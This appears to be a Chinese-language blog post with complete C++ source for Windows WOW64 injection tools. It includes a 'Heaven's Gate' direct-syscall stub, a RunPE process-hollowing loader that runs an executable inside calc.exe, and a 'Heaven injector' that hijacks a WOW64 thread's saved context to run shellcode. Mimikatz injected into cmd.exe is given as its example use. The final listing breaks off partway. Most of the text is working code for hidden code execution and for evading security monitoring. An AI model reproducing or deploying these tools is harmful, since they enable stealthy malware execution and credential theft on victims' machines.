PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base
int count;
char CurrentFilePath[1024] = "C:\\Windows\\SysWOW64\\calc.exe";
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {// Check if image is a PE File.
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {//if context is in thread
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase == 0) {
NtAPI("ZwTerminateProcess", PI.hProcess, 0);
return 0;
}
// Write the image to the process
NtAPI("NtWriteVirtualMemory", PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
NtAPI("NtWriteVirtualMemory", PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
NtAPI("NtWriteVirtualMemory", PI.hProcess, LPVOID(CTX->Ebx + 8), PVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
NtAPI("NtSetContextThread", PI.hThread, CTX); // Set the context
DWORD useless;
NtAPI("NtResumeThread", PI.hThread, &useless); //´Start the process/call main()
return 0; // Operation was successful.
}
}
}
}

完整项目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
//wowGrail.cpp
// Compile It in Release mode, if you're using MSVC toolchain. due to MSVC's performance instrumentation in Debug mode, there'll be an unexpected memory layout.
#include <iostream>
#include <intrin.h>
#include <Windows.h>
#include "wow64ext.h"
#pragma warning(disable:4996)
using namespace std;
auto memcpy64 = ((void(cdecl*)(ULONG64, ULONG64, ULONG64))((PCSTR)
// enter 64 bit mode 切换至64位模式
"\x6a\x33\xe8\x00\x00\x00\x00\x83\x04\x24\x05\xcb"
// memcpy for 64 bit 读取起点RSI 写入起点RDI 拷贝用rep movs [rdi],[rsi]
"\x67\x48\x8b\x7c\x24\x04\x67\x48\x8b\x74\x24\x0c\x67\x48\x8b\x4c\x24\x14\xf3\xa4"
// exit 64 bit mode 切换回64位模式
"\xe8\x00\x00\x00\x00\xc7\x44\x24\x04\x23\x00\x00\x00\x83\x04\x24\x0d\xcb\xc3"
));
PEB64* getPtr_Peb64() { //泄露当前WOW64进程中64位PEB环境资讯块位址
return ((PEB64 * (*)()) & "\x65\xA1\x60\x00\x00\x00\xC3")(); // mov eax,gs:[00000060]; ret
}
string get64b_CSTR(ULONG64 ptr64bStr) { //将4GB位址以上的字符数组字符串或宽字符数组字符串拷贝到32位变数中 以string资料结构储存
CHAR szBuf[MAX_PATH];
memcpy64((ULONG64)&szBuf, ptr64bStr, sizeof(szBuf));
return *new string(szBuf);
}
wstring get64b_WSTR(ULONG64 ptr64bStr) { //将4GB位址以上的字符数组字符串或宽字符数组字符串拷贝到32位变数中 以wstring资料结构储存
WCHAR szBuf[MAX_PATH];
memcpy64((ULONG64)&szBuf, ptr64bStr, sizeof(szBuf));
return *new wstring(szBuf);
}
UINT64 getPtr_Module64(const wchar_t* szDllName) { //泄露任意指定名称的64位DLL映像基址
PEB_LDR_DATA64 ldrNode = {};
LDR_DATA_TABLE_ENTRY64 currNode = {};
memcpy64((ULONG64)&ldrNode, (ULONG64)getPtr_Peb64()->Ldr, sizeof(ldrNode));/ / fetch ldr head node
for (ULONG64 ptrCurr = ldrNode.InLoadOrderModuleList.Flink;; ptrCurr = currNode.InLoadOrderLinks.Flink) { // read the first ldr node (should be the current EXE module)
memcpy64((ULONG64)&currNode, ptrCurr, sizeof(currNode));
if (wcsstr(szDllName, get64b_WSTR(currNode.BaseDllName.Buffer).c_str()))
return currNode.DllBase;
}
return 0;
}
void getPtr_Wow64SystemServiceEx(UINT64 &value) {
auto ptr_wow64Mod = getPtr_Module64(L"wow64.dll");
printf("[v] current wow64.dll @ %llx\n", ptr_wow64Mod);
char exeBuf[4096];
memcpy64((ULONG)&exeBuf, ptr_wow64Mod, sizeof(exeBuf));
auto k = PIMAGE_NT_HEADERS64(&exeBuf[0] + PIMAGE_DOS_HEADER(exeBuf)->e_lfanew);
auto rvaExportTable = k->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
memcpy64((ULONG)&exeBuf, ptr_wow64Mod + rvaExportTable, sizeof(exeBuf));
auto numOfNames = PIMAGE_EXPORT_DIRECTORY(exeBuf)->NumberOfNames;
auto arrOfNames = new UINT32[numOfNames + 1], arrOfFuncs = new UINT32[numOfNames + 1];
auto addrOfNameOrds = new UINT16[numOfNames + 1];
memcpy64((ULONG)arrOfNames, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfNames, sizeof(UINT32) * numOfNames);
memcpy64((ULONG)addrOfNameOrds, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfNameOrdinals, sizeof(UINT16) * numOfNames);
memcpy64((ULONG)arrOfFuncs, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfFunctions, sizeof(UINT32) * numOfNames);
for (size_t i = 0; i < numOfNames; i++) {
auto currApiName = get64b_CSTR(ptr_wow64Mod + arrOfNames[i]);
printf("[v] found export API -- %s\n", currApiName.c_str());
if (strstr("Wow64SystemServiceEx", currApiName.c_str()))
value = ptr_wow64Mod + arrOfFuncs[addrOfNameOrds[i]];
}
}
size_t getBytecodeOfNtAPI(const char* ntAPItoLookup) {
static BYTE* dumpImage = 0;
if (dumpImage == nullptr) {
FILE* fileptr; BYTE* buffer; LONGLONG filelen; // read whole PE static binary.
fileptr = fopen("C:/Windows/SysWoW64/ntdll.dll", "rb");
fseek(fileptr, 0, SEEK_END);
filelen = ftell(fileptr);
rewind(fileptr);
buffer = (BYTE*)malloc((filelen + 1) * sizeof(char));
fread(buffer, filelen, 1, fileptr);
PIMAGE_NT_HEADERS ntHdr = (IMAGE_NT_HEADERS*)(buffer + ((IMAGE_DOS_HEADER*)buffer)->e_lfanew); // dump static PE binary into image
dumpImage = (BYTE*)malloc(ntHdr->OptionalHeader.SizeOfImage);
memcpy(dumpImage, buffer, ntHdr->OptionalHeader.SizeOfHeaders);
for (size_t i = 0; i < ntHdr->FileHeader.NumberOfSections; i++) {
auto curr = PIMAGE_SECTION_HEADER(size_t(ntHdr) + sizeof(IMAGE_NT_HEADERS))[i];
memcpy(dumpImage + curr.VirtualAddress, buffer + curr.PointerToRawData, curr.SizeOfRawData);
}
free(buffer);
fclose(fileptr);
}
PIMAGE_NT_HEADERS ntHdr = (IMAGE_NT_HEADERS*)(dumpImage + ((IMAGE_DOS_HEADER*)dumpImage)->e_lfanew); // EAT parse.
auto a = ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)dumpImage + a.VirtualAddress);
uint32_t* addrOfNames = (uint32_t*)((size_t)dumpImage + ied->AddressOfNames);
uint16_t* addrOfNameOrds = (uint16_t*)((size_t)dumpImage + ied->AddressOfNameOrdinals);
uint32_t* AddrOfFuncAddrs = (uint32_t*)((size_t)dumpImage + ied->AddressOfFunctions);
if (ied->NumberOfNames == 0) return (size_t)0;
for (DWORD i = 0; i < ied->NumberOfNames; i++)
if (!stricmp((char*)((size_t)dumpImage + addrOfNames[i]), ntAPItoLookup))
return ((size_t)dumpImage + AddrOfFuncAddrs[addrOfNameOrds[i]]);
return 0;
}
#include <stdarg.h>
#include <stdio.h>
int NtAPI(const char* szNtApiToCall, ...) {
PCHAR jit_stub;
PCHAR apiAddr = PCHAR(getBytecodeOfNtAPI(szNtApiToCall));
static uint64_t ptrTranslator(0);
if (!ptrTranslator) getPtr_Wow64SystemServiceEx(ptrTranslator);
static uint8_t stub_template[] = {
/* +00 - mov eax, 00000000 */ 0xB8, 0x00, 0x00, 0x00, 0x00,
/* +05 - mov edx, ds:[esp+0x4] */ 0x8b, 0x54, 0x24, 0x04,
/* +09 - mov ecx,eax */ 0x89, 0xC1,
/* +0B - enter 64 bit mode */ 0x6A, 0x33, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24, 0x05, 0xCB,
/* +17 - xchg r14, rsp */ 0x49, 0x87, 0xE6,
/* +1A - call qword ptr [DEADBEEF] */ 0xFF, 0x14, 0x25, 0xEF, 0xBE, 0xAD, 0xDE,
/* +21 - xchg r14, rsp */ 0x49, 0x87, 0xE6,
/* +24 - exit 64 bit mode */ 0xE8, 0x0, 0x0, 0, 0, 0xC7,0x44, 0x24, 4, 0x23, 0, 0, 0, 0x83, 4, 0x24, 0xD, 0xCB,
0xc3,
};
jit_stub = (PCHAR)VirtualAlloc(0, sizeof(stub_template), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(jit_stub, stub_template, sizeof(stub_template));
va_list args;
va_start(args, szNtApiToCall);
*((uint32_t*)&jit_stub[0x01]) = *(uint32_t*)&apiAddr[1];
*((uint32_t*)&jit_stub[0x1d]) = (size_t)&ptrTranslator;
auto ret = ((NTSTATUS(__cdecl*)(...))jit_stub)(args);
return ret;
}
int RunPortableExecutable(void* Image) {
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base
int count;
char CurrentFilePath[1024] = "C:\\Windows\\SysWOW64\\calc.exe";
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {// Check if image is a PE File.
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));// Allocate memory for the context.
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {//if context is in thread
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase == 0) {
NtAPI("ZwTerminateProcess", PI.hProcess, 0);
return 0;
}
NtAPI("NtWriteVirtualMemory", PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); // Write the image to the process
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
NtAPI("NtWriteVirtualMemory", PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
NtAPI("NtWriteVirtualMemory", PI.hProcess, LPVOID(CTX->Ebx + 8), PVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; // Move address of entry point to the eax register
NtAPI("NtSetContextThread", PI.hThread, CTX); // Set the context
DWORD useless;
NtAPI("NtResumeThread", PI.hThread, &useless); //´Start the process/call main()
return 0; // Operation was successful.
}
}
}
}
#pragma warning(disable:4996)
BYTE* MapFileToMemory(const char filename[]) {
FILE *fileptr;
BYTE *buffer;
fileptr = fopen(filename, "rb"); // Open the file in binary mode
fseek(fileptr, 0, SEEK_END); // Jump to the end of the file
long filelen = ftell(fileptr); // Get the current byte offset in the file
rewind(fileptr); // Jump back to the beginning of the file
buffer = (BYTE *)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0
fread(buffer, filelen, 1, fileptr); // Read in the entire file
fclose(fileptr); // Close the file
return buffer;
}
int main(void) {
RunPortableExecutable(MapFileToMemory("C:/toolchain/picaball.exe")); // hey, RunPE again: github.com/Zer0Mem0ry/RunPE
return 0;
};

//wow64ext.h
#pragma once
#include <windows.h>
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS 0
#endif
#pragma pack(push)
#pragma pack(1)
template <class T>
struct _LIST_ENTRY_T{
T Flink;
T Blink;
};
template <class T>
struct _UNICODE_STRING_T{
union{
struct{
WORD Length;
WORD MaximumLength;
};
T dummy;
};
T Buffer;
};
template <class T>
struct _NT_TIB_T{
T ExceptionList;
T StackBase;
T StackLimit;
T SubSystemTib;
T FiberData;
T ArbitraryUserPointer;
T Self;
};
template <class T>
struct _CLIENT_ID{
T UniqueProcess;
T UniqueThread;
};
template <class T>
struct _TEB_T_{
_NT_TIB_T<T> NtTib;
T EnvironmentPointer;
_CLIENT_ID<T> ClientId;
T ActiveRpcHandle;
T ThreadLocalStoragePointer;
T ProcessEnvironmentBlock;
DWORD LastErrorValue;
DWORD CountOfOwnedCriticalSections;
T CsrClientThread;
T Win32ThreadInfo;
DWORD User32Reserved[26];
//rest of the structure is not defined for now, as it is not needed
};
template <class T>
struct _LDR_DATA_TABLE_ENTRY_T{
_LIST_ENTRY_T<T> InLoadOrderLinks;
_LIST_ENTRY_T<T> InMemoryOrderLinks;
_LIST_ENTRY_T<T> InInitializationOrderLinks;
T DllBase;
T EntryPoint;
union{
DWORD SizeOfImage;
T dummy01;
};
_UNICODE_STRING_T<T> FullDllName;
_UNICODE_STRING_T<T> BaseDllName;
DWORD Flags;
WORD LoadCount;
WORD TlsIndex;
union{
_LIST_ENTRY_T<T> HashLinks;
struct {
T SectionPointer;
T CheckSum;
};
};
union{
T LoadedImports;
DWORD TimeDateStamp;
};
T EntryPointActivationContext;
T PatchInformation;
_LIST_ENTRY_T<T> ForwarderLinks;
_LIST_ENTRY_T<T> ServiceTagLinks;
_LIST_ENTRY_T<T> StaticLinks;
T ContextInformation;
T OriginalBase;
_LARGE_INTEGER LoadTime;
};
template <class T>
struct _PEB_LDR_DATA_T{
DWORD Length;
DWORD Initialized;
T SsHandle;
_LIST_ENTRY_T<T> InLoadOrderModuleList;
_LIST_ENTRY_T<T> InMemoryOrderModuleList;
_LIST_ENTRY_T<T> InInitializationOrderModuleList;
T EntryInProgress;
DWORD ShutdownInProgress;
T ShutdownThreadId;

};
template <class T, class NGF, int A>
struct _PEB_T{
union{
struct{
BYTE InheritedAddressSpace;
BYTE ReadImageFileExecOptions;
BYTE BeingDebugged;
BYTE BitField;
};
T dummy01;
};
T Mutant;
T ImageBaseAddress;
T Ldr;
T ProcessParameters;
T SubSystemData;
T ProcessHeap;
T FastPebLock;
T AtlThunkSListPtr;
T IFEOKey;
T CrossProcessFlags;
T UserSharedInfoPtr;
DWORD SystemReserved;
DWORD AtlThunkSListPtr32;
T ApiSetMap;
T TlsExpansionCounter;
T TlsBitmap;
DWORD TlsBitmapBits[2];
T ReadOnlySharedMemoryBase;
T HotpatchInformation;
T ReadOnlyStaticServerData;
T AnsiCodePageData;
T OemCodePageData;
T UnicodeCaseTableData;
DWORD NumberOfProcessors;
union{
DWORD NtGlobalFlag;
NGF dummy02;
};
LARGE_INTEGER CriticalSectionTimeout;
T HeapSegmentReserve;
T HeapSegmentCommit;
T HeapDeCommitTotalFreeThreshold;
T HeapDeCommitFreeBlockThreshold;
DWORD NumberOfHeaps;
DWORD MaximumNumberOfHeaps;
T ProcessHeaps;
T GdiSharedHandleTable;
T ProcessStarterHelper;
T GdiDCAttributeList;
T LoaderLock;
DWORD OSMajorVersion;
DWORD OSMinorVersion;
WORD OSBuildNumber;
WORD OSCSDVersion;
DWORD OSPlatformId;
DWORD ImageSubsystem;
DWORD ImageSubsystemMajorVersion;
T ImageSubsystemMinorVersion;
T ActiveProcessAffinityMask;
T GdiHandleBuffer[A];
T PostProcessInitRoutine;
T TlsExpansionBitmap;
DWORD TlsExpansionBitmapBits[32];
T SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
T pShimData;
T AppCompatInfo;
_UNICODE_STRING_T<T> CSDVersion;
T ActivationContextData;
T ProcessAssemblyStorageMap;
T SystemDefaultActivationContextData;
T SystemAssemblyStorageMap;
T MinimumStackCommit;
T FlsCallback;
_LIST_ENTRY_T<T> FlsListHead;
T FlsBitmap;
DWORD FlsBitmapBits[4];
T FlsHighIndex;
T WerRegistrationData;
T WerShipAssertPtr;
T pContextData;
T pImageHeaderHash;
T TracingFlags;
};
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
typedef _TEB_T_<DWORD> TEB32;
typedef _TEB_T_<DWORD64> TEB64;
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
typedef _PEB_T<DWORD, DWORD64, 34> PEB32;
typedef _PEB_T<DWORD64, DWORD, 30> PEB64;
struct _XSAVE_FORMAT64{
WORD ControlWord;
WORD StatusWord;
BYTE TagWord;
BYTE Reserved1;
WORD ErrorOpcode;
DWORD ErrorOffset;
WORD ErrorSelector;
WORD Reserved2;
DWORD DataOffset;
WORD DataSelector;
WORD Reserved3;
DWORD MxCsr;
DWORD MxCsr_Mask;
_M128A FloatRegisters[8];
_M128A XmmRegisters[16];
BYTE Reserved4[96];
};
struct _CONTEXT64{
DWORD64 P1Home;
DWORD64 P2Home;
DWORD64 P3Home;
DWORD64 P4Home;
DWORD64 P5Home;
DWORD64 P6Home;
DWORD ContextFlags;
DWORD MxCsr;
WORD SegCs;
WORD SegDs;
WORD SegEs;
WORD SegFs;
WORD SegGs;
WORD SegSs;
DWORD EFlags;
DWORD64 Dr0;
DWORD64 Dr1;
DWORD64 Dr2;
DWORD64 Dr3;
DWORD64 Dr6;
DWORD64 Dr7;
DWORD64 Rax;
DWORD64 Rcx;
DWORD64 Rdx;
DWORD64 Rbx;
DWORD64 Rsp;
DWORD64 Rbp;
DWORD64 Rsi;
DWORD64 Rdi;
DWORD64 R8;
DWORD64 R9;
DWORD64 R10;
DWORD64 R11;
DWORD64 R12;
DWORD64 R13;
DWORD64 R14;
DWORD64 R15;
DWORD64 Rip;
_XSAVE_FORMAT64 FltSave;
_M128A Header[2];
_M128A Legacy[8];
_M128A Xmm0;
_M128A Xmm1;
_M128A Xmm2;
_M128A Xmm3;
_M128A Xmm4;
_M128A Xmm5;
_M128A Xmm6;
_M128A Xmm7;
_M128A Xmm8;
_M128A Xmm9;
_M128A Xmm10;
_M128A Xmm11;
_M128A Xmm12;
_M128A Xmm13;
_M128A Xmm14;
_M128A Xmm15;
_M128A VectorRegister[26];
DWORD64 VectorControl;
DWORD64 DebugControl;
DWORD64 LastBranchToRip;
DWORD64 LastBranchFromRip;
DWORD64 LastExceptionToRip;
DWORD64 LastExceptionFromRip;
};
// Below defines for .ContextFlags field are taken from WinNT.h
#ifndef CONTEXT_AMD64
#define CONTEXT_AMD64 0x100000
#endif
#define CONTEXT64_CONTROL (CONTEXT_AMD64 | 0x1L)
#define CONTEXT64_INTEGER (CONTEXT_AMD64 | 0x2L)
#define CONTEXT64_SEGMENTS (CONTEXT_AMD64 | 0x4L)
#define CONTEXT64_FLOATING_POINT (CONTEXT_AMD64 | 0x8L)
#define CONTEXT64_DEBUG_REGISTERS (CONTEXT_AMD64 | 0x10L)
#define CONTEXT64_FULL (CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT)
#define CONTEXT64_ALL (CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS)
#define CONTEXT64_XSTATE (CONTEXT_AMD64 | 0x20L)
#pragma pack(pop)
#ifdef WOW64EXT_EXPORTS
#define SPEC dllexport
#else
#define SPEC dllimport
#endif
extern "C"{
__declspec(SPEC)DWORD64 __cdecl X64Call(DWORD64 func, int argC, ...);
__declspec(SPEC)DWORD64 __cdecl GetModuleHandle64(wchar_t* lpModuleName);
__declspec(SPEC)DWORD64 __cdecl GetProcAddress64(DWORD64 hModule, char* funcName);
__declspec(SPEC)SIZE_T __cdecl VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength);
__declspec(SPEC)DWORD64 __cdecl VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
__declspec(SPEC)BOOL __cdecl VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType);
__declspec(SPEC)BOOL __cdecl VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect);
__declspec(SPEC)BOOL __cdecl ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
__declspec(SPEC)BOOL __cdecl WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
__declspec(SPEC)BOOL __cdecl GetThreadContext64(HANDLE hThread, _CONTEXT64* lpContext);
__declspec(SPEC)BOOL __cdecl SetThreadContext64(HANDLE hThread, _CONTEXT64* lpContext);
__declspec(SPEC)VOID __cdecl SetLastErrorFromX64Call(DWORD64 status);
}

天堂注入器

每次进出WOW64层必须先备份当下32位运行状态,模拟盖茨系统中断,再接着从32位运行状态备份快照还原。如果能泄露任意WOW64进程该备份快照储存地址,并修改快照中32位执行绪返回地址,就可控制该32位程式离开WOW64翻译层后要执行去哪里。原理参考WOW64模拟机初始化函数RunSimulatedCode函数入口程式码。

无论TEB32/64或PEB32/64其实再系统记忆分配上是申请一大块记忆体,才接着将其拆解为上述四块资料结构。Windows内核在生成任何用户模式新进程时,用nt!MiCreatePebOrTeb来替新进程创建TEB与PEB结构使用的记忆体,原生和WOW64进程皆如此。正常情况下内核开一块2000h的记忆体足够了,WOW64进程需要开3000h,再拆为4块资料结构使用。在实际WOW64进程孵化阶段,系统先正确填好WOW64进程64位PEB结构,再接着将64位PEB结构咨询拷贝至32位PEB结构中。

也就是说,只要能泄露任何一块资料结构地址,便能得知其余三块所有地址。例如将Mimikatz注入32位CMD命令中断cmd.exe中执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
uint32_t getShadowContext32(HANDLE hProcess, uint32_t PEB) { //通过任何一块已知资料结构来泄露其余三块资料结构 传入WOW64进程当前已知的PEB32地址
uint32_t teb32 = PEB + 0x3000, teb64 = teb32 - 0x2000, ptrCtx = 0;
ReadProcessMemory(hProcess, (LPCVOID)(teb64 + 0x1488), &ptrCtx, sizeof(ptrCtx), 0); //取出当前WOW64进程32位执行绪快取结构上下文地址
return ptrCtx + 4;
}
void hollowing(const PWSTR path, const BYTE* shellcode, DWORD shellcodeSize) { //劫持快取
wchar_t pathRes[MAX_PATH] = { 0 };
PROCESS_INFORMATION PI = { 0 };
STARTUPINFOW SI = { 0 };
CONTEXT CTX = { 0 };
memcpy(pathRes, path, sizeof(pathRes));
CreateProcessW(pathRes, NULL, NULL, NULL, FALSE, BELOW_NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);
size_t shellcodeAddr = (size_t)VirtualAllocEx(PI.hProcess, 0, shellcodeSize, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(PI.hProcess, (void*)shellcodeAddr, shellcode, shellcodeSize, 0);
CTX.ContextFlags = CONTEXT_FULL;
GetThreadContext(PI.hThread, (&CTX));
uint32_t remoteContext = getShadowContext32(PI.hProcess, CTX.Ebx);
WriteProcessMemory(PI.hProcess, LPVOID(remoteContext + offsetof(CONTEXT, Eip)), LPVOID(&shellcodeAddr), 4, 0);
WaitForSingleObject(PI.hProcess, INFINITE);
}

完整源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
//wowInjector.cpp
#include <stdio.h>
#include <vector>
#include <windows.h>
using namespace std;
#pragma warning(disable:4996)
#include "peb.h"
#include "shellcodify.h"
#include "http_download.h"
bool readBinFile(const wchar_t fileName[], char** bufPtr, DWORD& length) {
if (FILE* fp = _wfopen(fileName, L"rb")) {
fseek(fp, 0, SEEK_END);
length = ftell(fp);
*bufPtr = new char[length + 1];
fseek(fp, 0, SEEK_SET);
fread(*bufPtr, sizeof(char), length, fp);
return true;
}
return false;
}
uint32_t getShadowContext32(HANDLE hProcess, uint32_t PEB) {
uint32_t teb32 = PEB + 0x3000, teb64 = teb32 - 0x2000, ptrCtx = 0;
ReadProcessMemory(hProcess, (LPCVOID)(teb64 + 0x1488), &ptrCtx, sizeof(ptrCtx), 0);
return ptrCtx + 4;
}
void hollowing(const PWSTR path, const BYTE* shellcode, DWORD shellcodeSize) {
wchar_t pathRes[MAX_PATH] = { 0 };
PROCESS_INFORMATION PI = { 0 };
STARTUPINFOW SI = { 0 };
CONTEXT CTX = { 0 };
memcpy(pathRes, path, sizeof(pathRes));
CreateProcessW(pathRes, NULL, NULL, NULL, FALSE, BELOW_NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);
size_t shellcodeAddr = (size_t)VirtualAllocEx(PI.hProcess, 0, shellcodeSize, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(PI.hProcess, (void*)shellcodeAddr, shellcode, shellcodeSize, 0);
CTX.ContextFlags = CONTEXT_FULL;
GetThreadContext(PI.hThread, (&CTX));
